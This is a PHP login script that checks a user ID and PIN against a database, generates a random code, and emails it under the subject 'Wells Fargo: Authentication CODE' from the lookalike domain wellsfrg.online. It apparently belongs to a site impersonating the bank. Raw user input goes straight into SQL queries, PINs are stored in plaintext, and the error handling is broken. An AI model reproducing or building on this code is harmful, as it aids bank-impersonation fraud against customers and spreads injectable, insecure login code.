<?php
 include('dbconnect.php');
//validate login
$page = 'ccb_login' ;
	if(isset($_POST['AccLogin']))
{
	// Checking whether the Login form has been submitted

	$err = array();
	// Will hold our errors


	if(empty( $_POST['userid'])|| empty($_POST['current_password'])){
		$err = 'Invalid ID/pin try again!';
header("location:".$page."?error=".$err."&id=0110");
	}
	
	if(!count($err))
	{
	$pass= $_POST['current_password'];
		
    $user=$_POST['userid'];

		// Escaping all input data'".$user."'

		$query = mysql_query("SELECT Username,Pin,FullName,email,user_id FROM cleintuser WHERE Username='$user' AND Pin='$pass'")or die(myql_error());
		if(mysql_num_rows($query) > 0){
			$row=mysql_fetch_assoc($query);
	
			// If everything is OK login
		$FullName = $row['FullName'];
		$cemail = $row['email'];
		$user_id = $row['user_id'];

		$input = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$rand_keys = array_rand($input, 36);

$xcoded = $input[rand(23,25)].$input[rand(0,35)].$input[rand(0,35)].$input[rand(26,35)].$input[rand(0,25)].$input[rand(0,35)].$input[rand(0,25)].$input[rand(0,25)] ;

		
		
		
	
		
		$code = $xcoded ;
		
		
		
		 mysql_query("INSERT INTO code (code,userID,pin,expire)  VALUES('$code','$user','$pass','0')") or die(mysql_error());
		
			
		
		
		
		include_once "txtt.php" ;
		
		
		//send email
		
                            $to = $cemail;
                            $subject = "Wells Fargo: Authentication CODE";
                            $message =  $txtss;
    // Always set content-type when sending HTML email

                            $headers = "MIME-Version: 1.0" . "\r\n";
                            $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
                             $headers .= "From: AUTHENTICATION CODE <Admin@wellsfrg.online>" . "\r\n";
                           // $headers .= "From: AUTHENTICATION CODE <From: Admin@wellsfrg.online>" . "\r\n";
                            
                          mail($to,$subject,$message,$headers);

	$_SESSION['verifyCode']= $user_id;

    header("location:authentication?message=welcome ".$FullName);


} else {

$err ='Invalid ID/pin try again!  ';
header("location:".$page."?error=".$err."&id=0110");
}

}


}
?>